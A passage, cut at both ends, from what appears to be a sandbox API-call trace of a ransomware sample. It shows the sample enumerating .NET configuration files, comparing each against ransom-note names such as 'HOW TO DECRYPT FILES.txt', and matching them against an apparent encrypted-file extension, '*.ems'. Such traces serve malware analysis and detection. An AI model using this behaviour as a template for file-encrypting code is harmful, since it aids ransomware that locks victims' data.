(pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", pszSpec="*.ems") returned 0 [0137.434] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x16689, dwReserved0=0x0, dwReserved1=0x0, cFileName="machine.config.comments", cAlternateFileName="MACHIN~1.COM")) returned 1 [0137.434] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.434] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="machine.config.comments") returned -1 [0137.434] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="machine.config.comments") returned -1 [0137.434] lstrcmpiA (lpString1="", lpString2="machine.config.comments") returned -1 [0137.434] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config") returned="machine.config" [0137.434] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.434] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.434] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.435] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.435] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="machine.config.comments" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.comments") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.comments" [0137.435] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.comments", pszSpec="*.ems") returned 0 [0137.435] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="machine.config.default", cAlternateFileName="MACHIN~1.DEF")) returned 1 [0137.435] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.435] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="machine.config.default") returned -1 [0137.435] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="machine.config.default") returned -1 [0137.435] lstrcmpiA (lpString1="", lpString2="machine.config.default") returned -1 [0137.435] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.comments") returned="machine.config.comments" [0137.435] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.435] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.435] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.435] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.436] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="machine.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.default" [0137.436] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.default", pszSpec="*.ems") returned 0 [0137.436] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d643b00, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1d643b00, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFx40_IIS_schema_update.xml", cAlternateFileName="NETFX4~1.XML")) returned 1 [0137.436] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.436] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NetFx40_IIS_schema_update.xml") returned -1 [0137.436] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NetFx40_IIS_schema_update.xml") returned -1 [0137.436] lstrcmpiA (lpString1="", lpString2="NetFx40_IIS_schema_update.xml") returned -1 [0137.436] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.default") returned="machine.config.default" [0137.436] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.436] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.436] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.436] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.436] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="NetFx40_IIS_schema_update.xml" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx40_IIS_schema_update.xml") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx40_IIS_schema_update.xml" [0137.436] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx40_IIS_schema_update.xml", pszSpec="*.ems") returned 0 [0137.437] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84df4000, ftCreationTime.dwHighDateTime=0x1cd433a, ftLastAccessTime.dwLowDateTime=0xd01c0100, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x84df4000, ftLastWriteTime.dwHighDateTime=0x1cd433a, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFx45_IIS_schema_update.xml", cAlternateFileName="NETFX4~2.XML")) returned 1 [0137.437] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.437] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NetFx45_IIS_schema_update.xml") returned -1 [0137.437] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NetFx45_IIS_schema_update.xml") returned -1 [0137.437] lstrcmpiA (lpString1="", lpString2="NetFx45_IIS_schema_update.xml") returned -1 [0137.437] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx40_IIS_schema_update.xml") returned="NetFx40_IIS_schema_update.xml" [0137.437] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.437] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.437] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.437] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.437] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="NetFx45_IIS_schema_update.xml" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx45_IIS_schema_update.xml") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx45_IIS_schema_update.xml" [0137.437] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx45_IIS_schema_update.xml", pszSpec="*.ems") returned 0 [0137.437] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe871da00, ftCreationTime.dwHighDateTime=0x1cd5cf9, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe871da00, ftLastWriteTime.dwHighDateTime=0x1cd5cf9, nFileSizeHigh=0x0, nFileSizeLow=0xa87d, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.config", cAlternateFileName="WEB~1.CON")) returned 1 [0137.437] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.437] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web.config") returned -1 [0137.437] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web.config") returned -1 [0137.437] lstrcmpiA (lpString1="", lpString2="web.config") returned -1 [0137.437] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx45_IIS_schema_update.xml") returned="NetFx45_IIS_schema_update.xml" [0137.438] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.438] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.438] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.438] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.438] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config" [0137.438] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config", pszSpec="*.ems") returned 0 [0137.438] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84df4000, ftCreationTime.dwHighDateTime=0x1cd433a, ftLastAccessTime.dwLowDateTime=0xd5c0e3a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x84df4000, ftLastWriteTime.dwHighDateTime=0x1cd433a, nFileSizeHigh=0x0, nFileSizeLow=0x10f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.config.comments", cAlternateFileName="WEBCON~1.COM")) returned 1 [0137.438] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.438] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web.config.comments") returned -1 [0137.438] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web.config.comments") returned -1 [0137.438] lstrcmpiA (lpString1="", lpString2="web.config.comments") returned -1 [0137.438] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config") returned="web.config" [0137.438] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.438] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.438] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.438] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.439] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web.config.comments" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.comments") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.comments" [0137.439] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.comments", pszSpec="*.ems") returned 0 [0137.439] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe871da00, ftCreationTime.dwHighDateTime=0x1cd5cf9, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe871da00, ftLastWriteTime.dwHighDateTime=0x1cd5cf9, nFileSizeHigh=0x0, nFileSizeLow=0xa87d, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.config.default", cAlternateFileName="WEBCON~1.DEF")) returned 1 [0137.439] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.439] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web.config.default") returned -1 [0137.439] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web.config.default") returned -1 [0137.439] lstrcmpiA (lpString1="", lpString2="web.config.default") returned -1 [0137.439] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.comments") returned="web.config.comments" [0137.439] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.439] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.439] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.439] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.439] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.default" [0137.439] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.default", pszSpec="*.ems") returned 0 [0137.440] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_hightrust.config", cAlternateFileName="WEB_HI~1.CON")) returned 1 [0137.440] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.440] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web_hightrust.config") returned -1 [0137.440] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web_hightrust.config") returned -1 [0137.440] lstrcmpiA (lpString1="", lpString2="web_hightrust.config") returned -1 [0137.440] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.default") returned="web.config.default" [0137.440] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.440] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.440] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.440] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.440] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web_hightrust.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config" [0137.440] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config", pszSpec="*.ems") returned 0 [0137.440] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_hightrust.config.default", cAlternateFileName="WEB_HI~1.DEF")) returned 1 [0137.440] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.440] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web_hightrust.config.default") returned -1 [0137.440] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web_hightrust.config.default") returned -1 [0137.440] lstrcmpiA (lpString1="", lpString2="web_hightrust.config.default") returned -1 [0137.441] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config") returned="web_hightrust.config" [0137.441] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.441] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.441] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.441] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.441] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web_hightrust.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config.default" [0137.441] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config.default", pszSpec="*.ems") returned 0 [0137.441] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x177c, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_lowtrust.config", cAlternateFileName="WEB_LO~1.CON")) returned 1 [0137.441] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.441] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web_lowtrust.config") returned -1 [0137.441] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web_lowtrust.config") returned -1 [0137.441] lstrcmpiA (lpString1="", lpString2="web_lowtrust.config") returned -1 [0137.441] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config.default") returned="web_hightrust.config.default" [0137.441] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.441] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: 